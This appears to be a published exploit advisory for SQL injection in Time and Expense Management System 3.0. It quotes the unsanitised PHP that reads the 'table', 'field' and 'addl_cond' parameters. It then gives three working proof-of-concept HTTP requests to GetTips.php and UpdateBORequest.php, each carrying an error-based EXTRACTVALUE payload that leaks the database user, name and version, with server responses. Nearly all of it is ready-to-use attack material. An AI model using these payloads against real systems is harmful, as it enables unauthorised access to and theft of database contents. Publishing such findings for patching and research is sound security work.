Time and Expense Management System 3.0 - 'table' SQL Injection

# Exploit Title: Time and Expense Management System 3.0 - 'table' SQL Injection
# Dork: N/A
# Date: 2018-10-17
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.initechs.com/
# Software Link: http://sourceforge.net/projects/tems/files/latest
# Version: 3.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/core/model/GetTips.php?table=[SQL]

# /[PATH]/core/model/GetTips.class.php
# ........
# $hints_per_page = $_SESSION['ini']['display']['number_of_hints'];
# $userEntry=ltrim($_GET["userentry"]);
# $table = $_GET["table"];
# $key = $_GET["field"];
# $addlCond = $_GET["addl_cond"];
# ........

GET /[PATH]/core/model/GetTips.php?table=112112+anD++EXtrACTvaLUE(112,ConcAT(0x5c,conCAT_WS(0x203a20,useR(),DAtabaSE(),VersiON()),(SeleCT+(ELT(112=112,112))),0x49687361126e2053656e6361126e))--+Efe HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Wed, 17 Oct 2018 01:02:25 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Set-Cookie: PHPSESSID=0kunt4k4d2piurnrcle7nftln5; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 1612
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://localhost/[PATH]/core/model/GetTips.php?field=[SQL]

# /[PATH]/core/model/GetTips.class.php
# ........
# $hints_per_page = $_SESSION['ini']['display']['number_of_hints'];
# $userEntry=ltrim($_GET["userentry"]);
# $table = $_GET["table"];
# $key = $_GET["field"];
# $addlCond = $_GET["addl_cond"];
# ........

GET /[PATH]/core/model/GetTips.php?field=112112+anD++EXtrACTvaLUE(112,ConcAT(0x5c,conCAT_WS(0x203a20,useR(),DAtabaSE(),VersiON()),(SeleCT+(ELT(112=112,112))),0x49687361126e2053656e6361126e))--+Efe HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=0kunt4k4d2piurnrcle7nftln5
Connection: keep-alive
HTTP/1.1 200 OK
Date: Wed, 17 Oct 2018 01:09:41 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 1811
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC: 
# 3)
# http://localhost/[PATH]/core/controller/UpdateBORequest.php[SQL]
# POST /action=[SQL]
# 

POST /[PATH]/core/controller/UpdateBORequest.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=3i34gub8ub4dk3jhjthinlv922
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 161
action=EditUser' anD EXtrACTvaLUE(112,ConcAT(0x5c,conCAT(0x203a20,useR(),DAtabaSE(),VersiON()),(SeleCT (ELT(112=112,112))),0x49687361126e2053656e6361126e))-- Efe
HTTP/1.1 200 OK
Date: Wed, 17 Oct 2018 01:12:24 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 1778
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8